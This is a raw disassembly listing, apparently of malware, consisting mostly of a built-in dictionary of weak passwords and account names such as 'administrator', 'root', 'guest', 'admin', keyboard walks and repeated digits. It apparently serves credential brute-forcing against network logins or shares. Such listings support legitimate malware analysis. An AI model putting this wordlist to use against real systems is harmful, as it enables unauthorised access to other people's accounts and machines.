add ah, cl
cmc
inc edx
add al, cl
cmc
inc edx
add [ebp+esi*8-0A47FFBEh], bh
inc edx
add [ebp+esi*8-0A5FFFBEh], ch
inc edx
add [ebp+esi*8-0A67FFBEh], bl
inc edx
add [esp+eax*4], bh
inc edx
add [ebp+esi*8-0A77FFBEh], dl
inc edx
add [ebp+esi*8-0A7FFFBEh], al
inc edx
add [ebp+esi*8+42h], dh
add [eax-0Bh], dh
inc edx
add [ebp+esi*8+42h], ch
add [eax-0Bh], ch
inc edx
add [ebp+esi*8+42h], ah
add [eax-0Bh], bl
inc edx
add [eax-0Bh], cl
inc edx
add [ebp+esi*8+42h], al
add [eax-0Bh], al
inc edx
add ds:0F5280042h[esi*8], dh
inc edx
add ds:0F5100042h[esi*8], bl
inc edx
add ds:0F4F80042h[esi*8], al
inc edx
add ah, dh
; ---------------------------------------------------------------------------
db 0F4h, 42h, 0
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset dword_42F3E8
dd offset dword_42F3E4
dd offset dword_42F3E0
dd offset dword_42F3DC
dd offset dword_42F3D4
dd offset dword_42F3CC
dd offset dword_42F3C4
dd offset dword_42F3B8
dd offset loc_4263DB+1
dd offset dword_42F3B4
dd offset off_42F3B0
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_42F3A4 ; "+"
dd offset asc_42F3A0 ; "++"
dd offset asc_42F39C ; "+++"
dd offset asc_42F394 ; "++++"
dd offset asc_42F390 ; "-"
dd offset asc_42F38C ; "--"
dd offset asc_42F38C ; "--"
dd offset asc_42F384 ; "----"
dd offset asc_42F380 ; "-+"
dd offset asc_42F378 ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_42F360 ; "$"
dd offset asc_42F35C ; "$$"
dd offset asc_42F358 ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_4263F0
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_426CB0 ; "*"
dd offset asc_42F308 ; "**"
dd offset asc_42F304 ; "***"
dd offset asc_42F2FC ; "****"
dd offset asc_42F2F4 ; "*****"
dd offset asc_42F2EC ; "******"
dd offset asc_42F2E4 ; "*******"
dd offset asc_42F2D8 ; "********"
dd offset asc_42F2CC ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_1 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot ; "root"
dd offset aServer_0 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
dd offset aChi_0 ; "CHI"
dd offset aChi ; "chi"
dd offset aKor_0 ; "kor"
dd offset aTiger ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota_0 ; "TOYOTA"
dd offset aToyota ; "toyota"
dd offset asc_432C64 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
; ---------------------------------------------------------------------------
adc ah, ch
inc edx
add [esp+ebp*8], al
inc edx
add al, bh
jmp short loc_42E4B9
; ---------------------------------------------------------------------------
align 4
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB_0 ; "b"
dd offset aBb ; "bb"
; ---------------------------------------------------------------------------
fsub st(3), st
inc edx
add ah, dl
jmp short loc_42E4D9
; ---------------------------------------------------------------------------
align 4
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
; ---------------------------------------------------------------------------
mov esp, 0B00042EBh
jmp short loc_42E4E9
; ---------------------------------------------------------------------------
align 4
movsb
jmp short loc_42E4ED
; ---------------------------------------------------------------------------
align 4
mov al, ds:9C0042EBh
jmp short loc_42E4F5
; ---------------------------------------------------------------------------
align 4
cwde
jmp short loc_42E4F9
; ---------------------------------------------------------------------------
align 4
db 90h
; ---------------------------------------------------------------------------
loc_42E4B9: ; CODE XREF: .nsp0:0042E475j
jmp short loc_42E4FD
; ---------------------------------------------------------------------------
align 4
mov bl, ch
inc edx
add [eax+780042EBh], al
jmp short loc_42E509
; ---------------------------------------------------------------------------
align 4
dd offset aCccccccc ; "cccccccc"
; ---------------------------------------------------------------------------
pusha
jmp short loc_42E511
; ---------------------------------------------------------------------------
align 10h
pop esp
jmp short loc_42E515
; ---------------------------------------------------------------------------
align 4
dd offset aDd_2 ; "dd"
; ---------------------------------------------------------------------------
push esp
loc_42E4D9: ; CODE XREF: .nsp0:0042E495j
jmp short loc_42E51D
; ---------------------------------------------------------------------------
align 4
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
; ---------------------------------------------------------------------------
inc eax
jmp short near ptr loc_42E528+1
; ---------------------------------------------------------------------------
align 4
db 3Ch
; ---------------------------------------------------------------------------
loc_42E4E9: ; CODE XREF: .nsp0:0042E4A5j
jmp short loc_42E52D
; ---------------------------------------------------------------------------
align 4
db 38h
; ---------------------------------------------------------------------------
loc_42E4ED: ; CODE XREF: .nsp0:0042E4A9j
jmp short near ptr loc_42E52D+4
; ---------------------------------------------------------------------------
align 10h
xor bl, ch
inc edx
add [eax], ch
loc_42E4F5: ; CODE XREF: .nsp0:0042E4B1j
jmp short loc_42E539
; ---------------------------------------------------------------------------
align 4
db 24h
; ---------------------------------------------------------------------------
loc_42E4F9: ; CODE XREF: .nsp0:0042E4B5j
jmp short near ptr loc_42E539+4
; ---------------------------------------------------------------------------
align 4
db 20h
; ---------------------------------------------------------------------------
loc_42E4FD: ; CODE XREF: .nsp0:loc_42E4B9j
jmp short loc_42E541
; ---------------------------------------------------------------------------
align 10h
dd offset aEee ; "eee"
dd offset aEeee ; "eeee"
db 0Ch
; ---------------------------------------------------------------------------
loc_42E509: ; CODE XREF: .nsp0:0042E4C5j
jmp short loc_42E54D
; ---------------------------------------------------------------------------
align 4
dd offset aEeeeee ; "eeeeee"
db 0
; ---------------------------------------------------------------------------
loc_42E511: ; CODE XREF: .nsp0:0042E4CDj
jmp short loc_42E555
; ---------------------------------------------------------------------------
align 4
cld
loc_42E515: ; CODE XREF: .nsp0:0042E4D1j
jmp far ptr 42h:0EAF80042h
; ---------------------------------------------------------------------------
db 0F0h
; ---------------------------------------------------------------------------
loc_42E51D: ; CODE XREF: .nsp0:loc_42E4D9j
jmp far ptr 42h:0EAE80042h
; ---------------------------------------------------------------------------
dd offset aGggggg ; "gggggg"
; ---------------------------------------------------------------------------
loc_42E528: ; CODE XREF: .nsp0:0042E4E5j
fsub st(2), st
inc edx
add al, bl
loc_42E52D: ; CODE XREF: .nsp0:loc_42E4E9j
; .nsp0:loc_42E4EDj
jmp far ptr 42h:0EAD40042h
; ---------------------------------------------------------------------------
dd offset aHhhh ; "hhhh"
db 0C4h
; ---------------------------------------------------------------------------
loc_42E539: ; CODE XREF: .nsp0:loc_42E4F5j
; .nsp0:loc_42E4F9j
jmp far ptr 42h:0EABC0042h
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_42E541: ; CODE XREF: .nsp0:loc_42E4FDj
jmp far ptr 42h:0EAB40042h
; ---------------------------------------------------------------------------
dd offset aIii ; "iii"
db 0A8h
; ---------------------------------------------------------------------------
loc_42E54D: ; CODE XREF: .nsp0:loc_42E509j
jmp far ptr 42h:0EAA00042h
; ---------------------------------------------------------------------------
db 98h ; ˜
; ---------------------------------------------------------------------------
loc_42E555: ; CODE XREF: .nsp0:loc_42E511j
jmp far ptr 42h:0EA940042h
; ---------------------------------------------------------------------------
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_42EA4C ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_4 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem ; "system"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrator ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset byte_438FBC
dd 0
dword_42E7A4 dd 10h ; DATA XREF: sub_40B075+72w
; sub_40CE55+B60r ...
a142536 db '142536',0 ; DATA XREF: .nsp0:0042E724o
align 10h
a753951 db '753951',0 ; DATA XREF: .nsp0:0042E720o
align 4
a951753 db '951753',0 ; DATA XREF: .nsp0:0042E71Co
align 10h
a159357 db '159357',0 ; DATA XREF: .nsp0:0042E718o
align 4
a753159 db '753159',0 ; DATA XREF: .nsp0:0042E714o
align 10h
a13579 db '13579',0 ; DATA XREF: .nsp0:0042E710o
align 4
a2684 db '2684',0 ; DATA XREF: .nsp0:0042E70Co
align 10h
a2486 db '2486',0 ; DATA XREF: .nsp0:0042E708o
align 4
aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0042E704o
align 10h
aMnb db 'mnb',0 ; DATA XREF: .nsp0:0042E700o
a112233 db '112233',0 ; DATA XREF: .nsp0:0042E6FCo
align 4
a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0042E6F8o
align 4
a3edc db '3edc',0 ; DATA XREF: .nsp0:0042E6F4o
align 4
a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0042E6F0o
align 4
a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0042E6ECo
align 4
a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0042E6E8o
align 4
aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0042E6E4o
align 4
aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0042E6E0o
align 4
aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0042E6DCo
align 4
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0042E6D8o
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0042E6D4o
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0042E6D0o
align 10h
aQqww db 'qqww',0 ; DATA XREF: .nsp0:0042E6CCo
align 4
aAass db 'aass',0 ; DATA XREF: .nsp0:0042E6C8o
align 10h
aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042E6C4o
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0042E6C0o
align 10h
aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0042E6BCo
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0042E6B8o
align 10h
aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042E6B4o
align 4
aZzz db 'zzz',0 ; DATA XREF: .nsp0:0042E6B0o
aZz db 'zz',0 ; DATA XREF: .nsp0:0042E6ACo
align 10h
aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042E6A4o
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0042E6A0o
align 10h
aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0042E69Co
align 4
aQqq db 'qqq',0 ; DATA XREF: .nsp0:0042E698o
aQq db 'qq',0 ; DATA XREF: .nsp0:0042E694o
align 10h
aQ: ; DATA XREF: .nsp0:0042E690o
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0042E68Co
align 4
aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0042E688o
align 4
aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042E684o
align 4
aWww db 'www',0 ; DATA XREF: .nsp0:0042E680o
aWw db 'ww',0 ; DATA XREF: .nsp0:0042E67Co
align 4
aW: ; DATA XREF: .nsp0:0042E678o
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042E674o
align 10h
aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0042E670o
align 4
aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0042E66Co
align 10h
aVvv db 'vvv',0 ; DATA XREF: sub_40CE55+267Co
; .nsp0:0042E668o
aVv db 'vv',0 ; DATA XREF: .nsp0:0042E664o
align 4
aV: ; DATA XREF: .nsp0:0042E660o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0042E65Co
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0042E658o
align 4
aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042E654o
align 4
aYyy db 'yyy',0 ; DATA XREF: .nsp0:0042E650o
aYy db 'yy',0 ; DATA XREF: .nsp0:0042E64Co
align 4
aY: ; DATA XREF: .nsp0:0042E648o
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042E644o
align 4
aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0042E640o
align 10h
aTttt db 'tttt',0 ; DATA XREF: .nsp0:0042E63Co
align 4
aTtt db 'ttt',0 ; DATA XREF: .nsp0:0042E638o
aTt db 'tt',0 ; DATA XREF: .nsp0:0042E634o
align 10h
aT: ; DATA XREF: .nsp0:0042E630o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0042E62Co
align 4
aSssss db 'sssss',0 ; DATA XREF: .nsp0:0042E628o
align 4
aSsss db 'ssss',0 ; DATA XREF: .nsp0:0042E624o
align 4
aSss db 'sss',0 ; DATA XREF: .nsp0:0042E620o
aSs db 'ss',0 ; DATA XREF: .nsp0:0042E61Co
align 4
aS_4: ; DATA XREF: .nsp0:0042E618o
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0042E614o
align 10h
aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0042E610o
align 4
aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0042E60Co
align 10h
aUuu db 'uuu',0 ; DATA XREF: .nsp0:0042E608o
aUu db 'uu',0 ; DATA XREF: .nsp0:0042E604o
align 4
aU: ; DATA XREF: .nsp0:0042E600o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0042E5FCo
align 4
aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0042E5F8o
align 4
aPppp db 'pppp',0 ; DATA XREF: .nsp0:0042E5F4o
align 4
aPpp db 'ppp',0 ; DATA XREF: .nsp0:0042E5F0o
aPp db 'pp',0 ; DATA XREF: .nsp0:0042E5ECo
align 4
aP: ; DATA XREF: .nsp0:0042E5E8o
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0042E5E4o
align 4
aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0042E5E0o
align 10h
aOooo db 'oooo',0 ; DATA XREF: .nsp0:0042E5DCo
align 4
aOoo db 'ooo',0 ; DATA XREF: .nsp0:0042E5D8o
aOo db 'oo',0 ; DATA XREF: .nsp0:0042E5D4o
align 10h
aO: ; DATA XREF: .nsp0:0042E5D0o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0042E5CCo
align 4
aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0042E5C8o
align 4
aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0042E5C4o
align 4
aNnn db 'nnn',0 ; DATA XREF: .nsp0:0042E5C0o
aNn db 'nn',0 ; DATA XREF: .nsp0:0042E5BCo
align 4
aN: ; DATA XREF: .nsp0:0042E5B8o
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0042E5B4o
align 10h
aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0042E5B0o
align 4
aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0042E5ACo
align 10h
aMmm db 'mmm',0 ; DATA XREF: .nsp0:0042E5A8o
aMm db 'mm',0 ; DATA XREF: .nsp0:0042E5A4o
align 4
aM: ; DATA XREF: .nsp0:0042E5A0o
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0042E59Co
align 4
aLllll db 'lllll',0 ; DATA XREF: .nsp0:0042E598o
align 4
aLlll db 'llll',0 ; DATA XREF: .nsp0:0042E594o
align 4
